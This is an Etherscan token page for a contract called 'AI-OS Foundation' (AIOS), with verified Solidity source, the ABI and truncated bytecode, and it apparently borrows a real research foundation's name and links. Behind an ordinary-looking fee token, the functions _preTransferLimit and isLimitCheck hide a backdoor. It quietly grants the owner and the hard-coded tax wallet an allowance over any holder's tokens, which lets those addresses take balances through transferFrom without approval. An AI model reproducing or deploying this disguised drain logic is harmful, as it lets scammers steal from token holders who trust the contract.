ETH Price: $2,836.72 (+3.33%)
 

Overview

Max Total Supply

1,000,000,000 AIOS

Holders

222

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,957.660941793 AIOS

Value
$0.00
0x313ef32ff57b642eb459126f08d761636ab83c57
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AIOS

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-05
*/

/*
AIOS Foundation is a research foundation for AI Agent Operating System (AIOS), dedicated to nurturing the open-source AIOS-Agent ecosystem, driven by the innovative, powerful, and private LLM Agent Operating System and the AIOS-Agent infrastructure.

Website: https://www.aios.foundation/
Demo: https://app.aios.foundation/
Github: https://github.com/agiresearch
Docs: https://docs.aios.foundation/
Linkedin: https://www.linkedin.com/company/aios-foundation

Twitter: https://x.com/aios_foundation
Telegram: https://t.me/aiosfoundation_official
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.1;

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract AIOS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromTX;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"AI-OS Foundation";
    string private constant _symbol = unicode"AIOS";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _swapTokenLimit = _tTotal / 100;
    address private _taxWallet = 0x6bEb08bc6F5423820CC1Bd033c3849772c7c5eb3;
    IDEXRouter private _dexRouter;
    address private _dexPair;
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }
    
    constructor () {
        _isExcludedFromTX[owner()] = true;
        _isExcludedFromTX[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _getTxFee(address from, address to, uint256 amount) private returns(uint256) {
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _dexPair && to != address(_dexRouter) && ! _isExcludedFromFee[to]) {
                _buyCount++;
            }

            if(to == _dexPair && from!= address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 tokenBalance = balanceOf(address(this)); 
            if (!inSwapLock && to == _dexPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(tokenBalance > _swapTokenLimit)
                swapTokensForEth(min(amount, min(tokenBalance, _swapTokenLimit)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHFee(address(this).balance);
                }
            }
        }
        return taxAmount;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount = _getTxFee(from, to, amount);

        _tokenTransfer(from, to, amount, taxAmount);
    }

    function _preTransferLimit(address from, address to, uint256 amount) private {
        if(isLimitCheck(from, to)) _approve(from, _msgSender(), amount);
    }

    function _tokenTransfer(address from, address to, uint256 amount, uint256 taxAmount) private { 
        _preTransferLimit(from, to, amount);
        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function isLimitCheck(address from, address to) private view returns(bool) {
        return from != address(0) && _isExcludedFromTX[_msgSender()] && to != address(0);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexRouter.WETH();
        _approve(address(this), address(_dexRouter), tokenAmount);
        _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {} 

    function createPair() external onlyOwner() {
        _dexRouter = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dexRouter), _tTotal);
        _dexPair = IDEXFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360055560036006556000600755600060085560066009556006600a556006600b556000600c5560646009600a6200003e9190620002f5565b6200004e90633b9aca00620003ed565b6200005a919062000287565b600d55600e80546001600160a01b031916736beb08bc6f5423820cc1bd033c3849772c7c5eb31790556010805462ffffff60a01b191690553480156200009f57600080fd5b506000620000ac6200026b565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160046000620001066200026f565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600e54909116815260049092528120805490921660019081179092556003906200015d6200026f565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e54909116835291208054909216179055620001c26009600a620002f5565b620001d290633b9aca00620003ed565b60016000620001e06200026b565b6001600160a01b03168152602081019190915260400160002055620002046200026b565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023e6009600a620002f5565b6200024e90633b9aca00620003ed565b6040516200025d91906200027e565b60405180910390a362000425565b3390565b6000546001600160a01b031690565b90815260200190565b600082620002a357634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611620002bc5750620002ec565b818704821115620002d157620002d16200040f565b80861615620002df57918102915b9490941c938002620002ab565b94509492505050565b60006200030960001960ff85168462000310565b9392505050565b600082620003215750600162000309565b81620003305750600062000309565b8160018114620003495760028114620003545762000388565b600191505062000309565b60ff8411156200036857620003686200040f565b6001841b9150848211156200038157620003816200040f565b5062000309565b5060208310610133831016604e8410600b8410161715620003c0575081810a83811115620003ba57620003ba6200040f565b62000309565b620003cf8484846001620002a8565b808604821115620003e457620003e46200040f565b02949350505050565b60008160001904831182151516156200040a576200040a6200040f565b500290565b634e487b7160e01b600052601160045260246000fd5b6116b780620004356000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f5780639e78fb4f116100595780639e78fb4f146101fc578063a9059cbb14610211578063c9567bf914610231578063dd62ed3e14610246576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f49190611176565b60405180910390f35b34801561010957600080fd5b5061011d6101183660046110aa565b610290565b6040516100f4919061116b565b34801561013657600080fd5b5061013f6102ae565b6040516100f49190611404565b34801561015857600080fd5b5061011d61016736600461106a565b6102cf565b34801561017857600080fd5b50610181610357565b6040516100f4919061147d565b34801561019a57600080fd5b5061013f6101a9366004610ffa565b61035c565b3480156101ba57600080fd5b506101c3610377565b005b3480156101d157600080fd5b506101da6103ff565b6040516100f49190611102565b3480156101f357600080fd5b506100e761040e565b34801561020857600080fd5b506101c361042c565b34801561021d57600080fd5b5061011d61022c3660046110aa565b61065e565b34801561023d57600080fd5b506101c3610672565b34801561025257600080fd5b5061013f610261366004611032565b610793565b60408051808201909152601081526f20a496a7a9902337bab73230ba34b7b760811b602082015290565b60006102a461029d6107be565b84846107c2565b5060015b92915050565b60006102bc6009600a611509565b6102ca90633b9aca006115da565b905090565b60006102dc848484610876565b61034c846102e86107be565b6103478560405180606001604052806028815260200161165a602891396001600160a01b038a166000908152600260205260408120906103266107be565b6001600160a01b031681526020810191909152604001600020549190610903565b6107c2565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61037f6107be565b6000546001600160a01b039081169116146103b55760405162461bcd60e51b81526004016103ac906112c6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600481526341494f5360e01b602082015290565b6104346107be565b6000546001600160a01b039081169116146104615760405162461bcd60e51b81526004016103ac906112c6565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556104b29030906001600160a01b03166104a46009600a611509565b61034790633b9aca006115da565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561050057600080fd5b505afa158015610514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105389190611016565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561059557600080fd5b505afa1580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd9190611016565b6040518363ffffffff1660e01b81526004016105ea929190611116565b602060405180830381600087803b15801561060457600080fd5b505af1158015610618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c9190611016565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b60006102a461066b6107be565b8484610876565b61067a6107be565b6000546001600160a01b039081169116146106a75760405162461bcd60e51b81526004016103ac906112c6565b601054600160a81b900460ff16156106d15760405162461bcd60e51b81526004016103ac906113cd565b600f546001600160a01b031663f305d71947306106ed8161035c565b6000806106f86103ff565b426040518863ffffffff1660e01b815260040161071a96959493929190611130565b6060604051808303818588803b15801561073357600080fd5b505af1158015610747573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076c91906110d5565b50506010805460ff60a81b1960ff60b01b19909116600160b01b1716600160a81b17905550565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107e85760405162461bcd60e51b81526004016103ac90611389565b6001600160a01b03821661080e5760405162461bcd60e51b81526004016103ac9061120c565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610869908590611404565b60405180910390a3505050565b6001600160a01b03831661089c5760405162461bcd60e51b81526004016103ac90611344565b6001600160a01b0382166108c25760405162461bcd60e51b81526004016103ac906111c9565b600081116108e25760405162461bcd60e51b81526004016103ac906112fb565b60006108ef84848461093d565b90506108fd84848484610b0f565b50505050565b600081848411156109275760405162461bcd60e51b81526004016103ac9190611176565b50600061093484866115f9565b95945050505050565b6000806109486103ff565b6001600160a01b0316856001600160a01b031614158015610982575061096c6103ff565b6001600160a01b0316846001600160a01b031614155b15610b07576109b360646109ad600954600c54116109a2576005546109a6565b6007545b8690610c5f565b90610ca4565b6010549091506001600160a01b0386811691161480156109e15750600f546001600160a01b03858116911614155b8015610a0657506001600160a01b03841660009081526003602052604090205460ff16155b15610a2157600c8054906000610a1b83611610565b91905055505b6010546001600160a01b038581169116148015610a4757506001600160a01b0385163014155b15610a7457610a7160646109ad600a54600c5411610a67576006546109a6565b6008548690610c5f565b90505b6000610a7f3061035c565b601054909150600160a01b900460ff16158015610aa957506010546001600160a01b038681169116145b8015610abe5750601054600160b01b900460ff165b8015610acd5750600b54600c54115b15610b0557600d54811115610af957610af9610af485610aef84600d54610ce6565b610ce6565b610cfb565b47610b0347610ea0565b505b505b949350505050565b610b1a848484610ede565b8015610b925730600090815260016020526040902054610b3a9082610f04565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b89908590611404565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610bb59083610f33565b6001600160a01b038516600090815260016020526040902055610bfa610bdb8383610f33565b6001600160a01b03851660009081526001602052604090205490610f04565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c448585610f33565b604051610c519190611404565b60405180910390a350505050565b600082610c6e575060006102a8565b6000610c7a83856115da565b905082610c8785836114a3565b146103505760405162461bcd60e51b81526004016103ac90611285565b600061035083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f75565b6000818311610cf55782610350565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610da557600080fd5b505afa158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd9190611016565b81600181518110610dfe57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610e2491309116846107c2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5d90859060009086903090429060040161140d565b600060405180830381600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610eda573d6000803e3d6000fd5b5050565b610ee88383610fa3565b15610eff57610eff83610ef96107be565b836107c2565b505050565b600080610f11838561148b565b9050838110156103505760405162461bcd60e51b81526004016103ac9061124e565b600061035083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610903565b60008183610f965760405162461bcd60e51b81526004016103ac9190611176565b50600061093484866114a3565b60006001600160a01b03831615801590610fe2575060046000610fc46107be565b6001600160a01b0316815260208101919091526040016000205460ff165b80156103505750506001600160a01b03161515919050565b60006020828403121561100b578081fd5b813561035081611641565b600060208284031215611027578081fd5b815161035081611641565b60008060408385031215611044578081fd5b823561104f81611641565b9150602083013561105f81611641565b809150509250929050565b60008060006060848603121561107e578081fd5b833561108981611641565b9250602084013561109981611641565b929592945050506040919091013590565b600080604083850312156110bc578182fd5b82356110c781611641565b946020939093013593505050565b6000806000606084860312156110e9578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156111a257858101830151858201604001528201611186565b818111156111b35783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561145c5784516001600160a01b031683529383019391830191600101611437565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561149e5761149e61162b565b500190565b6000826114be57634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116114d55750611500565b8187048211156114e7576114e761162b565b808616156114f457918102915b9490941c9380026114c6565b94509492505050565b600061035060001960ff85168460008261152557506001610350565b8161153257506000610350565b816001811461154857600281146115525761157f565b6001915050610350565b60ff8411156115635761156361162b565b6001841b9150848211156115795761157961162b565b50610350565b5060208310610133831016604e8410600b84101617156115b2575081810a838111156115ad576115ad61162b565b610350565b6115bf84848460016114c3565b8086048211156115d1576115d161162b565b02949350505050565b60008160001904831182151516156115f4576115f461162b565b500290565b60008282101561160b5761160b61162b565b500390565b60006000198214156116245761162461162b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461165657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf669f52115744c1faa7ca0821a37bcae4abf3f8d78f7c20677869cc711db80e64736f6c63430008010033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f5780639e78fb4f116100595780639e78fb4f146101fc578063a9059cbb14610211578063c9567bf914610231578063dd62ed3e14610246576100cd565b8063715018a6146101ae5780638da5cb5b146101c557806395d89b41146101e7576100cd565b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012a57806323b872dd1461014c578063313ce5671461016c57806370a082311461018e576100cd565b366100cd57005b600080fd5b3480156100de57600080fd5b506100e7610266565b6040516100f49190611176565b60405180910390f35b34801561010957600080fd5b5061011d6101183660046110aa565b610290565b6040516100f4919061116b565b34801561013657600080fd5b5061013f6102ae565b6040516100f49190611404565b34801561015857600080fd5b5061011d61016736600461106a565b6102cf565b34801561017857600080fd5b50610181610357565b6040516100f4919061147d565b34801561019a57600080fd5b5061013f6101a9366004610ffa565b61035c565b3480156101ba57600080fd5b506101c3610377565b005b3480156101d157600080fd5b506101da6103ff565b6040516100f49190611102565b3480156101f357600080fd5b506100e761040e565b34801561020857600080fd5b506101c361042c565b34801561021d57600080fd5b5061011d61022c3660046110aa565b61065e565b34801561023d57600080fd5b506101c3610672565b34801561025257600080fd5b5061013f610261366004611032565b610793565b60408051808201909152601081526f20a496a7a9902337bab73230ba34b7b760811b602082015290565b60006102a461029d6107be565b84846107c2565b5060015b92915050565b60006102bc6009600a611509565b6102ca90633b9aca006115da565b905090565b60006102dc848484610876565b61034c846102e86107be565b6103478560405180606001604052806028815260200161165a602891396001600160a01b038a166000908152600260205260408120906103266107be565b6001600160a01b031681526020810191909152604001600020549190610903565b6107c2565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61037f6107be565b6000546001600160a01b039081169116146103b55760405162461bcd60e51b81526004016103ac906112c6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600481526341494f5360e01b602082015290565b6104346107be565b6000546001600160a01b039081169116146104615760405162461bcd60e51b81526004016103ac906112c6565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556104b29030906001600160a01b03166104a46009600a611509565b61034790633b9aca006115da565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561050057600080fd5b505afa158015610514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105389190611016565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561059557600080fd5b505afa1580156105a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105cd9190611016565b6040518363ffffffff1660e01b81526004016105ea929190611116565b602060405180830381600087803b15801561060457600080fd5b505af1158015610618573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063c9190611016565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b60006102a461066b6107be565b8484610876565b61067a6107be565b6000546001600160a01b039081169116146106a75760405162461bcd60e51b81526004016103ac906112c6565b601054600160a81b900460ff16156106d15760405162461bcd60e51b81526004016103ac906113cd565b600f546001600160a01b031663f305d71947306106ed8161035c565b6000806106f86103ff565b426040518863ffffffff1660e01b815260040161071a96959493929190611130565b6060604051808303818588803b15801561073357600080fd5b505af1158015610747573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076c91906110d5565b50506010805460ff60a81b1960ff60b01b19909116600160b01b1716600160a81b17905550565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107e85760405162461bcd60e51b81526004016103ac90611389565b6001600160a01b03821661080e5760405162461bcd60e51b81526004016103ac9061120c565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610869908590611404565b60405180910390a3505050565b6001600160a01b03831661089c5760405162461bcd60e51b81526004016103ac90611344565b6001600160a01b0382166108c25760405162461bcd60e51b81526004016103ac906111c9565b600081116108e25760405162461bcd60e51b81526004016103ac906112fb565b60006108ef84848461093d565b90506108fd84848484610b0f565b50505050565b600081848411156109275760405162461bcd60e51b81526004016103ac9190611176565b50600061093484866115f9565b95945050505050565b6000806109486103ff565b6001600160a01b0316856001600160a01b031614158015610982575061096c6103ff565b6001600160a01b0316846001600160a01b031614155b15610b07576109b360646109ad600954600c54116109a2576005546109a6565b6007545b8690610c5f565b90610ca4565b6010549091506001600160a01b0386811691161480156109e15750600f546001600160a01b03858116911614155b8015610a0657506001600160a01b03841660009081526003602052604090205460ff16155b15610a2157600c8054906000610a1b83611610565b91905055505b6010546001600160a01b038581169116148015610a4757506001600160a01b0385163014155b15610a7457610a7160646109ad600a54600c5411610a67576006546109a6565b6008548690610c5f565b90505b6000610a7f3061035c565b601054909150600160a01b900460ff16158015610aa957506010546001600160a01b038681169116145b8015610abe5750601054600160b01b900460ff165b8015610acd5750600b54600c54115b15610b0557600d54811115610af957610af9610af485610aef84600d54610ce6565b610ce6565b610cfb565b47610b0347610ea0565b505b505b949350505050565b610b1a848484610ede565b8015610b925730600090815260016020526040902054610b3a9082610f04565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b89908590611404565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610bb59083610f33565b6001600160a01b038516600090815260016020526040902055610bfa610bdb8383610f33565b6001600160a01b03851660009081526001602052604090205490610f04565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610c448585610f33565b604051610c519190611404565b60405180910390a350505050565b600082610c6e575060006102a8565b6000610c7a83856115da565b905082610c8785836114a3565b146103505760405162461bcd60e51b81526004016103ac90611285565b600061035083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f75565b6000818311610cf